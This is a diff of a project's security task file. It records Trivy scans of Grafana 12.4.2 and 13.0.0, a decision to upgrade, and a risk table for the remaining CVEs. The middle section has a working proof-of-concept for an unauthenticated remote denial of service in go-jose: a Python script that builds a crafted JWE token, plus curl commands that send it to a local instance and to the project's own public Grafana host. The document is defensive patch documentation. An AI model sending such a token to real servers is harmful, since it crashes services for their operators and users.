@@ -27,23 +27,279 @@ CRITICALs are fully cleared. 4 HIGH remain in upstream binary dependencies.
2727
2828## Steps
2929
30- - [ ] Check the latest Grafana release:
30+ - [x ] Check the latest Grafana release:
3131 < https://hub.docker.com/r/grafana/grafana/tags >
32- - [ ] Run Trivy against the latest tag:
32+ - [x ] Run Trivy against the latest tag:
3333 ` trivy image --severity HIGH,CRITICAL grafana/grafana:LATEST_TAG `
34- - [ ] Compare results against the 12.4.2 baseline in
34+ - [x ] Compare results against the 12.4.2 baseline in
3535 ` docs/security/docker/scans/grafana.md `
3636- [ ] ** If a newer tag reduces HIGH count** : update ` src/domain/grafana/config.rs `
3737 and the CI scan matrix; update the scan doc; post results comment; close #434
38- - [ ] ** If no improvement** : post comment with current scan output confirming
38+ - [x ] ** If no improvement** : post comment with current scan output confirming
3939 no CRITICALs and document accepted risk for remaining HIGH; close #434
4040
4141## Outcome
4242
43- <!-- Fill in after doing the work -->
43+ - Date: 2026-04-14
44+ - Grafana tags tested: ` 12.4.2 ` (13 HIGH, 0 CRITICAL) and ` 13.0.0 ` (10 HIGH, 0 CRITICAL)
45+ - Decision: ** upgrade to ` grafana/grafana:13.0.0 ` ** — fixes CVE-2026 -34986 (remote DoS)
46+ - Action: Updated ` src/domain/grafana/config.rs ` to ` grafana/grafana:13.0.0 `
47+ - Comment: posted on issue #434
4448
45- - Date:
46- - Latest Grafana tag tested:
47- - Findings (HIGH / CRITICAL):
48- - Decision: upgrade / accept risk
49- - Comment/PR:
49+ ### Scan details — ` grafana/grafana:12.4.2 ` (Trivy, 2026-04-14)
50+
51+ | Component | HIGH | CRITICAL |
52+ | -------------------------- | ------ | -------- |
53+ | Alpine 3.23.3 (OS) | 3 | 0 |
54+ | ` grafana ` binary (Go deps) | 6 | 0 |
55+ | ` grafana-cli ` binary | 2 | 0 |
56+ | ` grafana-server ` binary | 2 | 0 |
57+ | ** Total** | ** 13** | ** 0** |
58+
59+ ** Alpine OS CVEs (all ` fixed ` in newer Alpine, blocked on Grafana rebuilding):**
60+
61+ | CVE | Package | Severity | Fix |
62+ | -------------- | -------------------- | -------- | -------- |
63+ | CVE-2026 -28390 | libcrypto3 / libssl3 | HIGH | 3.5.6-r0 |
64+ | CVE-2026 -22184 | zlib | HIGH | 1.3.2-r0 |
65+
66+ ** Go binary CVEs (all ` fixed ` in newer upstream versions, blocked on Grafana updating):**
67+
68+ | CVE | Library | Severity | Fix |
69+ | -------------- | ------------------ | -------- | --------------- |
70+ | CVE-2026 -34986 | go-jose/go-jose/v4 | HIGH | 4.1.4 |
71+ | CVE-2026 -34040 | moby/moby | HIGH | 29.3.1 |
72+ | CVE-2026 -24051 | otel/sdk | HIGH | 1.40.0 |
73+ | CVE-2026 -39883 | otel/sdk | HIGH | 1.43.0 |
74+ | CVE-2026 -32280 | stdlib | HIGH | 1.25.9 / 1.26.2 |
75+ | CVE-2026 -32282 | stdlib | HIGH | 1.25.9 / 1.26.2 |
76+
77+ ### CVE-2026 -34986 — remotely exploitable DoS (highest risk)
78+
79+ ** Advisory** : [ GHSA-78h2 -9frx-2jm8] ( https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8 )
80+ ** CVSS** : 7.5 High — ` AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H `
81+ ** Root cause** : Dependency issue in ` go-jose/go-jose/v4 ` (not Grafana's own code).
82+ ** Mechanism** : If Grafana receives a JWE token whose ` alg ` field names a key-wrapping
83+ algorithm (e.g. ` A128KW ` ) but with an empty ` encrypted_key ` , go-jose panics trying to
84+ allocate a zero-length slice in ` cipher.KeyUnwrap() ` . The panic crashes the goroutine
85+ and can bring down the Grafana process entirely.
86+
87+ ** Is it exploitable via the public dashboard?** Yes. Grafana parses bearer tokens on
88+ all HTTP requests before checking authentication. An attacker can send:
89+
90+ ``` text
91+ Authorization: Bearer <crafted-JWE-with-empty-encrypted_key>
92+ ```
93+
94+ to any endpoint on ` grafana.torrust-tracker-demo.com ` without any credentials and
95+ crash Grafana. The CVSS confirms this: no privileges required, no user interaction,
96+ network-reachable.
97+
98+ ** Grafana's fix** : merged in PR
99+ [ grafana/grafana #121830 ] ( https://github.com/grafana/grafana/pull/121830 ) 2 weeks
100+ ago, bumping ` go-jose/v4 ` to ` 4.1.4 ` . The PR targets milestone ** 13.0.x** and is
101+ labelled ` no-backport ` — ** no fix will be released for any 12.x version** .
102+
103+ ** Status** : Fixed in ` grafana/grafana:13.0.0 ` (bumped ` go-jose/v4 ` to ` 4.1.4 ` via PR
104+ [ grafana/grafana #121830 ] ( https://github.com/grafana/grafana/pull/121830 ) ).
105+ ` src/domain/grafana/config.rs ` updated to ` grafana/grafana:13.0.0 ` .
106+
107+ #### Proof-of-concept
108+
109+ > ⚠️ ** Run against a local instance first.** Sending this to the live demo will
110+ > crash the public Grafana at ` grafana.torrust-tracker-demo.com ` until Docker
111+ > restarts it.
112+
113+ ##### Step 1 — Generate the crafted JWE token
114+
115+ The JWE compact serialisation has five base64url segments separated by ` . ` :
116+
117+ ``` text
118+ <header>.<encrypted_key>.<iv>.<ciphertext>.<tag>
119+ ```
120+
121+ The panic is triggered by setting ` alg ` to a KW algorithm and leaving
122+ ` encrypted_key ` (segment 2) empty.
123+
124+ ``` python
125+ # generate-jwe-poc.py
126+ import base64, json
127+
128+ header = {" alg" : " A128KW" , " enc" : " A128CBC-HS256" }
129+ header_b64 = (
130+ base64.urlsafe_b64encode(
131+ json.dumps(header, separators = (" ," , " :" )).encode()
132+ )
133+ .rstrip(b " =" )
134+ .decode()
135+ )
136+
137+ # JWE compact: <header>.<encrypted_key>.<iv>.<ciphertext>.<tag>
138+ # Leave encrypted_key empty — this is the trigger.
139+ jwe = f " { header_b64} ..AAAA.AAAA.AAAA "
140+ print (jwe)
141+ ```
142+
143+ Run it:
144+
145+ ``` console
146+ $ python3 generate-jwe-poc.py
147+ eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA
148+ ```
149+
150+ ##### Step 2 — Send the request
151+
152+ Replace ` <TOKEN> ` with the output from step 1 and ` <HOST> ` with either a local
153+ instance or the live demo.
154+
155+ ``` console
156+ $ TOKEN=" eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA"
157+
158+ # Against a local instance (safe — recommended first):
159+ $ curl -si -H " Authorization: Bearer $TOKEN " http://localhost:3000/api/health
160+
161+ # Against the live demo (will cause a brief outage — your own server):
162+ $ curl -si -H " Authorization: Bearer $TOKEN " https://grafana.torrust-tracker-demo.com/api/health
163+ ```
164+
165+ ##### Expected response from a vulnerable instance (12.4.2)
166+
167+ The HTTP connection drops or Grafana returns a 502 from Caddy because the process
168+ crashed:
169+
170+ ``` text
171+ HTTP/2 502
172+ content-type: text/html; charset=utf-8
173+ ...
174+ <html>Bad Gateway</html>
175+ ```
176+
177+ Alternatively the connection resets immediately with no response, depending on how
178+ fast Docker restarts the container.
179+
180+ The Grafana container log shows the panic:
181+
182+ ``` text
183+ goroutine 1 [running]:
184+ runtime/debug.Stack(...)
185+ /usr/local/go/src/runtime/debug/stack.go:24
186+ github.com/go-jose/go-jose/v4.(*symmetricKeyCipher).keyUnwrap(...)
187+ github.com/go-jose/go-jose/v4@v4.1.3/cipher/key_wrap.go:82 +0x...
188+ panic: runtime error: makeslice: len out of range
189+ ```
190+
191+ To observe it locally:
192+
193+ ``` sh
194+ docker logs --follow torrust-grafana 2>&1 | grep -A 10 " panic"
195+ ```
196+
197+ ##### Expected response from a patched instance (13.0.x / go-jose 4.1.4)
198+
199+ Grafana returns a proper 400 Bad Request without crashing:
200+
201+ ``` text
202+ HTTP/2 400
203+ content-type: application/json
204+
205+ {"message":"JWE parse failed: go-jose/v4: invalid payload","requestId":"..."}
206+ ```
207+
208+ ##### Verifying the container recovered
209+
210+ After a crash, Docker's ` restart: always ` policy brings Grafana back in a few
211+ seconds. Confirm with:
212+
213+ ``` console
214+ $ docker inspect --format ' {{.RestartCount}}' torrust-grafana
215+ 1
216+ ```
217+
218+ A non-zero restart count confirms the process was killed by the panic.
219+
220+ ### Mitigation options
221+
222+ Three options exist for reducing exposure to CVE-2026 -34986:
223+
224+ | Option | Effort | Completeness | Notes |
225+ | ---------------------------------- | ------ | ------------ | ----------------------------------------------------------- |
226+ | ** Upgrade to 13.0.0** (chosen) | Low | Full fix | ` go-jose/v4 ` bumped to ` 4.1.4 ` ; DoS eliminated |
227+ | Caddy WAF rule | Medium | Partial | Block ` Authorization ` headers matching JWE compact format |
228+ | Accept risk + rely on auto-restart | None | None | Docker ` restart: always ` recovers single crashes in seconds |
229+
230+ ** Upgrade to 13.0.0** is the only complete fix. Grafana labelled the ` go-jose ` bump
231+ ` no-backport ` , so 12.x will never receive a patch. ` grafana/grafana:13.0.0 ` was
232+ released on 2026-04-11 and already ships ` go-jose/v4 4.1.4 ` .
233+
234+ ** Caddy WAF rule** (interim option, not applied): Caddy can reject requests whose
235+ ` Authorization: Bearer ` value matches the JWE compact format (five dot-separated
236+ base64url segments). This would block the PoC token before it reaches Grafana.
237+ Not applied here because upgrading to 13.0.0 is available and cleaner.
238+
239+ ** Docker restart recovery** : Docker's ` restart: always ` policy brings Grafana back
240+ in seconds after a single crash. A sustained attack keeps it unavailable for the
241+ duration. This is a recovery mechanism, not a mitigation.
242+
243+ ### Scan details — ` grafana/grafana:13.0.0 ` (Trivy, 2026-04-14)
244+
245+ | Component | HIGH | CRITICAL |
246+ | -------------------------- | ------ | -------- |
247+ | Alpine 3.23.3 (OS) | 3 | 0 |
248+ | ` grafana ` binary (Go deps) | 2 | 0 |
249+ | ` grafana-cli ` binary | 0 | 0 |
250+ | ` grafana-server ` binary | 0 | 0 |
251+ | ` elasticsearch ` plugin | 5 | 0 |
252+ | ** Total** | ** 10** | ** 0** |
253+
254+ ** Improvements vs 12.4.2** : CVE-2026 -34986 (` go-jose ` ) eliminated; CVE-2026 -24051
255+ (` otel/sdk ` ) and CVE-2026 -32280/CVE-2026 -32282 (` stdlib ` ) also fixed. ` grafana-cli `
256+ and ` grafana-server ` are fully clean (0 findings each).
257+
258+ ** New in 13.0.0** : The bundled ` elasticsearch ` datasource plugin binary introduces
259+ 5 HIGH CVEs (` otel/sdk ` CVE-2026 -39883, ` stdlib ` CVE-2026 -25679 / CVE-2026 -27137 /
260+ CVE-2026 -32280 / CVE-2026 -32282). All are local-only — PATH-hijack or
261+ internal-only code paths, not reachable via Grafana's HTTP layer.
262+
263+ ** Version comparison:**
264+
265+ | Version | HIGH | CRITICAL | CVE-2026 -34986 (remote DoS) |
266+ | -------- | ------ | -------- | --------------------------- |
267+ | ` 12.3.1 ` | 18 | 6 | present |
268+ | ` 12.4.2 ` | 13 | 0 | present |
269+ | ` 13.0.0 ` | ** 10** | ** 0** | ** absent** |
270+
271+ ** Alpine OS CVEs (unchanged — blocked on Grafana rebuilding against Alpine 3.23.6+):**
272+
273+ | CVE | Package | Severity | Fix |
274+ | -------------- | ---------- | -------- | -------- |
275+ | CVE-2026 -28390 | libcrypto3 | HIGH | 3.5.6-r0 |
276+ | CVE-2026 -28390 | libssl3 | HIGH | 3.5.6-r0 |
277+ | CVE-2026 -22184 | zlib | HIGH | 1.3.2-r0 |
278+
279+ ** Go binary CVEs remaining in ` grafana ` binary:**
280+
281+ | CVE | Library | Severity | Fix | Remote? |
282+ | -------------- | --------- | -------- | ------ | ------- |
283+ | CVE-2026 -34040 | moby/moby | HIGH | 29.3.1 | No |
284+ | CVE-2026 -39883 | otel/sdk | HIGH | 1.43.0 | No |
285+
286+ ### Risk assessment for remaining CVEs
287+
288+ All remaining CVEs (10 HIGH, 0 CRITICAL in ` grafana/grafana:13.0.0 ` ) require local
289+ access or are not reachable via Grafana's HTTP layer:
290+
291+ | CVE | Exploitable remotely? | Reason |
292+ | -------------- | --------------------- | -------------------------------------------------------------------------- |
293+ | CVE-2026 -28390 | No | Caddy terminates TLS; Grafana never processes raw TLS |
294+ | CVE-2026 -22184 | No | ` untgz ` path — unreachable via dashboard UI |
295+ | CVE-2026 -34040 | No | Moby Docker-client code, not a Grafana HTTP endpoint |
296+ | CVE-2026 -39883 | No | Local PATH-hijack — requires host shell access |
297+ | CVE-2026 -25679 | No | ` elasticsearch ` plugin internal path — not reachable via dashboard |
298+ | CVE-2026 -27137 | No | ` elasticsearch ` plugin internal path — not reachable via dashboard |
299+ | CVE-2026 -32280 | No | Go chain-building DoS on outbound TLS — not reachable from public internet |
300+ | CVE-2026 -32282 | No | Local ` Root.Chmod ` symlink — requires host shell access |
301+
302+ ** Overall risk** : CVE-2026 -34986 (unauthenticated remote DoS) is eliminated by
303+ upgrading to ` grafana/grafana:13.0.0 ` . The 10 remaining HIGH CVEs have no realistic
304+ remote attack path in this deployment. No CRITICALs in any version we are now
305+ deploying.
0 commit comments